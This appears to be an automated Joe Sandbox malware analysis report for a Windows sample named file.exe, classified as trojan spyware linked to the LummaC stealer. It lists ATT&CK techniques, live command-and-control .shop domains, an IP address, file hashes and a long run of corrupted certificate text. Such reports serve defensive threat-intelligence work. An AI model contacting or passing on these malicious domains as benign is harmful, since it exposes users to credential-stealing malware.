Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	29%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
shortsvelventysjo.shop	16%	Virustotal		Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
tolerateilusidjukl.shop	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z	0%	Avira URL Cloud	safe
shortsvelventysjo.shop	0%	Avira URL Cloud	safe
incredibleextedwj.shop	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/api=	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/3	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/u	0%	Avira URL Cloud	safe
shortsvelventysjo.shop	16%	Virustotal		Browse
liabilitynighstjsko.shop	0%	Avira URL Cloud	safe
incredibleextedwj.shop	14%	Virustotal		Browse
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
shatterbreathepsw.shop	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/api2	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/api	100%	Avira URL Cloud	malware
https://shortsvelventysjo.shop/	0%	Avira URL Cloud	safe
tolerateilusidjukl.shop	14%	Virustotal		Browse
shatterbreathepsw.shop	17%	Virustotal		Browse
https://shortsvelventysjo.shop/	1%	Virustotal		Browse
liabilitynighstjsko.shop	17%	Virustotal		Browse
https://shortsvelventysjo.shop/L	0%	Avira URL Cloud	safe
demonstationfukewko.shop	0%	Avira URL Cloud	safe
demonstationfukewko.shop	18%	Virustotal		Browse
productivelookewr.shop	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/F	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/apih?	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/8	0%	Avira URL Cloud	safe
https://shortsvelventysjo.shop/api	18%	Virustotal		Browse
https://shortsvelventysjo.shop/apiL	0%	Avira URL Cloud	safe
alcojoldwograpciw.shop	0%	Avira URL Cloud	safe
productivelookewr.shop	16%	Virustotal		Browse
https://shortsvelventysjo.shop/F	14%	Virustotal		Browse
https://shortsvelventysjo.shop/apiL	9%	Virustotal		Browse
alcojoldwograpciw.shop	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
shortsvelventysjo.shop	104.21.16.225	true	true	16%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
shortsvelventysjo.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
liabilitynighstjsko.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
shatterbreathepsw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://shortsvelventysjo.shop/api	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
demonstationfukewko.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
productivelookewr.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
alcojoldwograpciw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z	file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	file.exe	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	file.exe	false	URL Reputation: safe	unknown
https://shortsvelventysjo.shop/api=	file.exe, 00000000.00000003.1760712769.0000000001A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760648488.0000000001A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762146206.0000000001A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shortsvelventysjo.shop/3	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shortsvelventysjo.shop/u	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1680085593.000000000409C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1680354756.0000000004095000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1680085593.000000000409C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1680354756.0000000004095000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shortsvelventysjo.shop/api2	file.exe, 00000000.00000003.1689019870.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679102211.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shortsvelventysjo.shop/	file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	file.exe	false	URL Reputation: safe	unknown
https://shortsvelventysjo.shop/L	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shortsvelventysjo.shop/F	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shortsvelventysjo.shop/apih?	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	file.exe	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1680354756.0000000004070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	file.exe, 00000000.00000003.1680085593.000000000409E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1696934272.000000000404D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shortsvelventysjo.shop/8	file.exe, 00000000.00000003.1689019870.0000000001A76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1680354756.0000000004070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shortsvelventysjo.shop/apiL	file.exe, 00000000.00000003.1689019870.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679102211.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.16.225	shortsvelventysjo.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432455
Start date and time:	2024-04-27 08:13:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 27 Number of non-executed functions: 243
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 40.68.123.157, 72.21.81.240, 13.85.23.206
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:14:00	API Interceptor	7x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.225	file.exe	Get hash	malicious	LummaC	Browse
104.21.16.225	https://t.sidekickopen10.com/Ctc/2P+23284/d5d6-w04/JkM2-6qcW6N1vHY6lZ3nKW8wJljK7cvX5TW4-QBtM2J7hhlW2XhyKc75t6-JW82tj6d5jw9tzW94xXFv3tMhffW7WqP2M7bCGBqW52T22n117gCvN4c0HVbJ_mc8W80J-Sg5SsD--N6bSj02q_FdtW6BmYbL37lgXnW65WK4m7Bdq8GW66HBVb2dCCwLW64jK1J6lP2PkV1WmXg13XsrYW1F-9t_3mTDJNN166WjShRlGXW555ffF681-YrMZRpB_lHXCYW57gWSl6dwgM2W51Q9vV4W-1dvW3cZ2w04Tm1Rrf4bvVVP04	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	TNQTc6Qmkg.exe	Get hash	malicious	Mars Stealer, RedLine, SectopRAT, Stealc, Vidar	Browse	192.229.211.108
	https://thehitchhouse.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://friwin2.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	192.229.211.108
	https://ai7wzovlc.duckdns.org/	Get hash	malicious	Unknown	Browse	192.229.211.108
	VucRf0jboS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	192.229.211.108
	https://svuch3d.duckdns.org/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://rlx10ld2n.duckdns.org/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://htceram.com/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://ixkv5pf.duckdns.org/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://www.steampowered.solutions/	Get hash	malicious	Unknown	Browse	192.229.211.108
shortsvelventysjo.shop	file.exe	Get hash	malicious	LummaC	Browse	104.21.16.225

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	104.26.13.205
	launcher.jar	Get hash	malicious	Unknown	Browse	162.159.137.232
	launcher.jar	Get hash	malicious	Discord Token Stealer	Browse	162.159.136.232
	YLICY3GBmX.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.90.190
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	104.26.190.2
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	172.67.181.9
	https://thehitchhouse.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://friwin2.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	172.67.38.66
	https://pub-12c79d09670f4464af9de32e4799a256.r2.dev/12345.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.steampowered.solutions/	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Document_a51_19i793302-14b09981a5569-3684u8.js	Get hash	malicious	Latrodectus	Browse	104.21.16.225
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	104.21.16.225
	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.16.225
	https://control.mailblaze.com/index.php/survey/wq790f4mf09e0	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.21.16.225
	neo.msi	Get hash	malicious	Latrodectus	Browse	104.21.16.225
	z55NF-Faturada-23042024.msi	Get hash	malicious	MicroClip	Browse	104.21.16.225
	ePI4igo4y1.exe	Get hash	malicious	AsyncRAT	Browse	104.21.16.225
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.16.225
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.16.225
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.21.16.225

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.876675701837208
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	6'519'256 bytes
MD5:	336dbcbe5553f56bceb71dd99a37c00f
SHA1:	f4eea5819160318881ee508a7c6615bea5a7c519
SHA256:	d9cc9b3e6d2017094f1dcc47034464cd873145f086de547eb11fd79654be0426
SHA512:	5bad00c6bc11e621e43c53064e82099921582a2effdd717632df7b87e4c7c1d22b5279d76abb16d7f593fa76f49c8e1250f20e137c20f1d469bb436c8e166d9f
SSDEEP:	196608:wNy2dvNtQkK57leNqU2bAhqL0WEQWZVPCIlrEYB7Qg6EY:q1I57ENqU2b/0XQWZ9DlrR+FEY
TLSH:	9266236A2E9B50D6C58204B4D32BBED633F204864D874C31FDC1354AB4F1F76B4AAA5B
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....L)f.....................R....../.............@...................................d...@...................................t....

File Icon


Icon Hash:	5bd3939393a1b0b1

Static PE Info

General

Entrypoint:	0xcaaa2f
Entrypoint Section:	.vmp
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66294CCE [Wed Apr 24 18:17:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a2dba7c4a8d827543ea3d1099ab91444

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=WORLD, S=WORLD, L=\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9